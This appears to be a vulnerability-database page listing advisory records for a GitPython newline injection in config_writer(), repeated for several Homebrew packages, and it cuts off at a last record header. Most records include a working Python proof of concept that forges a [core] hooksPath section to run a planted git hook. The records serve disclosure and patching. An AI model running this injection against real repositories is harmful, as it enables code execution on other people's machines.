Action not permitted
Modal body text goes here.
Modal Title
Modal Body
PYSEC-2026-3980
Vulnerability from pysec - Published: 2026-08-01 13:17 - Updated: 2026-09-17 08:35GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.
| Name | purl | gitpython | pkg:pypi/gitpython |
|---|
{
"affected": [
{
"ecosystem_specific": {},
"package": {
"ecosystem": "PyPI",
"name": "gitpython",
"purl": "pkg:pypi/gitpython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.50"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.7",
"0.2.0-beta1",
"0.3.0-beta1",
"0.3.0-beta2",
"0.3.1-beta2",
"0.3.2",
"0.3.2.1",
"0.3.2.RC1",
"0.3.3",
"0.3.4",
"0.3.5",
"0.3.6",
"0.3.7",
"1.0.0",
"1.0.1",
"1.0.2",
"2.0.0",
"2.0.1",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.0.6",
"2.0.7",
"2.0.8",
"2.0.9",
"2.0.9.dev0",
"2.0.9.dev1",
"2.1.0",
"2.1.1",
"2.1.10",
"2.1.11",
"2.1.12",
"2.1.13",
"2.1.14",
"2.1.15",
"2.1.2",
"2.1.3",
"2.1.4",
"2.1.5",
"2.1.6",
"2.1.7",
"2.1.8",
"2.1.9",
"3.0.0",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.0.7",
"3.0.8",
"3.0.9",
"3.1.0",
"3.1.1",
"3.1.10",
"3.1.11",
"3.1.12",
"3.1.13",
"3.1.14",
"3.1.15",
"3.1.16",
"3.1.17",
"3.1.18",
"3.1.19",
"3.1.2",
"3.1.20",
"3.1.22",
"3.1.23",
"3.1.24",
"3.1.25",
"3.1.26",
"3.1.27",
"3.1.28",
"3.1.29",
"3.1.3",
"3.1.30",
"3.1.31",
"3.1.32",
"3.1.33",
"3.1.34",
"3.1.35",
"3.1.36",
"3.1.37",
"3.1.38",
"3.1.4",
"3.1.40",
"3.1.41",
"3.1.42",
"3.1.43",
"3.1.44",
"3.1.45",
"3.1.46",
"3.1.47",
"3.1.48",
"3.1.49",
"3.1.5",
"3.1.6",
"3.1.7",
"3.1.8",
"3.1.9"
]
}
],
"aliases": [
"CVE-2026-67326",
"GHSA-mv93-w799-cj2w"
],
"details": "GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.",
"id": "PYSEC-2026-3980",
"modified": "2026-09-17T08:35:35.720497Z",
"published": "2026-08-01T13:17:03.063Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section"
},
{
"type": "EVIDENCE",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
BREW-OTTERDOG-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:24 – Updated: 2026-09-20 11:09 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "otterdog",
"purl": "pkg:brew/otterdog"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.1"
},
{
"fixed": "1.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-otterdog-CVE-2026-67326",
"modified": "2026-09-20T11:09:09Z",
"published": "2026-08-13T17:24:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-PYGITUP-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:29 – Updated: 2026-09-20 11:01 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "pygitup",
"purl": "pkg:brew/pygitup"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "2.4.0_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-pygitup-CVE-2026-67326",
"modified": "2026-09-20T11:01:55Z",
"published": "2026-08-13T17:29:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-SHALLOW-BACKUP-CVE-… (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-20 10:39 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "shallow-backup",
"purl": "pkg:brew/shallow-backup"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.1"
},
{
"fixed": "6.6_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-shallow-backup-CVE-2026-67326",
"modified": "2026-09-20T10:39:42Z",
"published": "2026-08-13T17:34:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-SNAKEMAKE-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-20 12:28 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "snakemake",
"purl": "pkg:brew/snakemake"
},
"ranges": [
{
"events": [
{
"introduced": "5.5.3"
},
{
"fixed": "9.20.0_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-snakemake-CVE-2026-67326",
"modified": "2026-09-20T12:28:17Z",
"published": "2026-08-13T17:34:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-SNOWFLAKE-CLI-CVE-2… (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:35 – Updated: 2026-09-20 11:29 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.59",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "snowflake-cli",
"purl": "pkg:brew/snowflake-cli"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.1"
},
{
"fixed": "3.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.59",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.59"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-snowflake-cli-CVE-2026-67326",
"modified": "2026-09-20T11:29:59Z",
"published": "2026-08-13T17:35:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-STANDARDEBOOKS-CVE-… (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:41 – Updated: 2026-09-20 10:38 – Source websiteSummary
